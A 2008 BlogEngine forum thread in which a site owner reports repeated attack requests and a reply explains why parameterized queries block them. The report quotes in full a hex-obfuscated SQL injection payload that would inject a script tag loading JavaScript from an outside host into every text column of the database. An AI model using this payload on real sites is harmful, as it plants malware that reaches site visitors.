Attempted hacks on my site running BlogEngine

Topics: ASP.NET 2.0
Aug 15, 2008 at 5:07 PM
I'm seeing a ton of these types of requests being made on my site. It's been pretty constant over the last few days. Almost each time with a different IP address, but the same URL is used.

See below:

../post.aspx?id=8d04ce34-c750-4ab2-84ae-5671f1e15f13&%3bDeCLARE+%40S+CHAR(4000)%3bSET+%40S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72+AS+CHAR(4000))%3bExEC(%40S)%3b

They've not gotten access to anything, but I wanted to report this to make sure this type of attach won't work.


Aug 15, 2008 at 7:40 PM

BlogEngine uses parameterized queries so that means that multiple queries using a ';' will not work. Also the id that it queries against has to be a valid GUID. What the attacker is most likely seeing is a 500 internal server error response. In your event logs you will see information related to "Parameter is not a valid type (uniqueidentifier)" (That is of course if you are using the SQL Provider, I am not sure what the conditions are on MySQL and this has no effect on XML).

I would think that BE is quite safe from these type(s) of mundane attacks.

Aug 18, 2008 at 4:20 PM
Thanks for the reply. Has anybody else experienced this type of attack?

It might be time for an auto ip banning extension.